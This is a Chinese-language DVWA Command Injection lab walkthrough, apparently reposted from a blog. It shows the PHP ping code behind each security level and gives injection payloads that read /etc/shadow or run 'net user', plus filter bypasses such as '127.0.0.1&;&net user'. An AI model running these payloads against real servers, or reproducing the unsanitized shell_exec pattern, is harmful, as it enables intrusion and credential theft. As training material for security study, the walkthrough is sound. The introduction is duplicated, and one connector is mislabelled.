Command Injection 介紹
命令注入(Command Injection),對一些函數的參數沒有做過濾或過濾不嚴導致的,可以執行系統或者應用指令(CMD命令或者bash命令)的一種注入攻擊手段。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一。
判斷命令注入流程
是否調用系統命令
函數或函數的參數是否可控
是否拼接注入命令
命令連接符
command1 && command2
&&表示先執行command1,執行成功后執行command 2,否則不執行command 2
command1 & command2
$表示先執行command 1,不管是否成功,都會執行command 2
command1 || command2
||表示先執行command1,執行失敗后,執行command2
command1 | command2
|表示將command 1的輸出作為command 2的輸入,只打印command 2執行的結果。
以上連接符在windows和linux環境下都支持。
下面對四種級別的代碼進行分析。
Low Security Level
DVWA Command Injection 通關教程 Web安全 / 2018-02-20 / 0 條評論 / 1,722 views Command Injection 介紹 命令注入(Command Injection),對一些函數的參數沒有做過濾或過濾不嚴導致的,可以執行系統或者應用指令(CMD命令或者bash命令)的一種注入攻擊手段。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一。 判斷命令注入流程 是否調用系統命令 函數或函數的參數是否可控 是否拼接注入命令 命令連接符 command1 && command2 &&表示先執行command1,執行成功后執行command 2,否則不執行command 2 command1 & command2 $表示先執行command 1,不管是否成功,都會執行command 2 command1 || command2 ||表示先執行command1,執行失敗后,執行command2 command1 | command2 |表示將command 1的輸出作為command 2的輸入,只打印command 2執行的結果。 以上連接符在windows和linux環境下都支持。 下面對四種級別的代碼進行分析。 Low Security Level <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
stristr()函數
stristr(string,search,before_search)
stristr函數搜索字符串在另一字符串中的第一次出現,返回字符串的剩余部分(從匹配點),如果未找到所搜索的字符串,則返回false。詳細如下:
string 必需。規定被搜索的字符串。 search 必需。規定要搜索的字符串。如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符。 before_search 可選。默認值為 "false" 的布爾值。如果設置為 "true",它將返回 search 參數第一次出現之前的字符串部分。 返回值:返回字符串的剩余部分(從匹配點)。如果未找到所搜索的字符串,則返回 FALSE。 PHP 版本:4+ 更新日志: 在 PHP 5.3 中,新增了 before_search 參數。 在 PHP 4.3 中,該函數變成是二進制安全的。
php_uname()函數
string php_uname ([ string $mode = "a" ] )
php_uname()函數會返回運行 php 的操作系統的相關描述。mode是單個字符,用於定義要返回什么信息:
‘a’:此為默認。包含序列s ,n,r,v,m 里的所有模式。
例如我的:
Windows NT WINDOWS-STORY 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586 s:操作系統名稱。例如:Windows NT n:主機名。例如:WINDOWS-STORY r:版本名稱。例如:6.1 v:版本信息。例如:build 7601 (Windows 7 Ultimate Edition Service Pack 1) m:機器類型。例如:i586。
Exploit
Windows:
127.0.0.1&&net user 127.0.0.1&net user 127.0.0.1|net user
Linux:
127.0.0.1&&cat /etc/shadow 127.0.0.1&cat /etc/shadow 127.0.0.1|cat /etc/shadow
Medium Security Level
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
可以看到,相比Low Security Level的代碼,服務器端對ip參數做了過濾,即把&&、;刪除,本質上采用的是黑名單機制,但依舊存在安全問題。
Exploit
1、因為被過濾的只有&&與;,所以&與|不受影響:
Windows:
127.0.0.1&net user 127.0.0.1|net user
Linux:
127.0.0.1&cat /etc/shadow 127.0.0.1|cat /etc/shadow
2、由於使用的是str_replace把&&、;替換為空字符,因此可以采用以下方式繞過:
127.0.0.1&;&net user
這是因為127.0.0.1&;&net user中的;會被替換為空字符,變成了127.0.0.1& &net user 從而成功執行。
High Security Level
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
相比Medium Security Level的代碼,進一步完善了黑名單,但由於黑名單機制的局限性,我們依然可以繞過。
Exploit
黑名單看似過濾了所有的非法字符,但仔細觀察到這里:
'| ' => '',
是把|(注意這里|后有一個空格)替換為空字符,於是可以使用|進行利用:
command 1 | command 2
Windows:
127.0.0.1|net user
Linux:
127.0.0.1|cat /etc/shadow
Impossible Security Level
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
相關函數介紹:
stripslashes(string)
stripslashes函數會刪除字符串string中的反斜杠,返回已剝離反斜杠的字符串。
explode(separator,string,limit)
把字符串打散為數組,返回字符串的數組。參數separator規定在哪里分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。
is_numeric(string)
檢測string是否為數字或數字字符串,如果是返回true,否則返回false。
可以看到,Impossible Security Level的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如”數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。
轉載自:AnCoLin's Blog|影風博客DVWA Command Injection 通關教程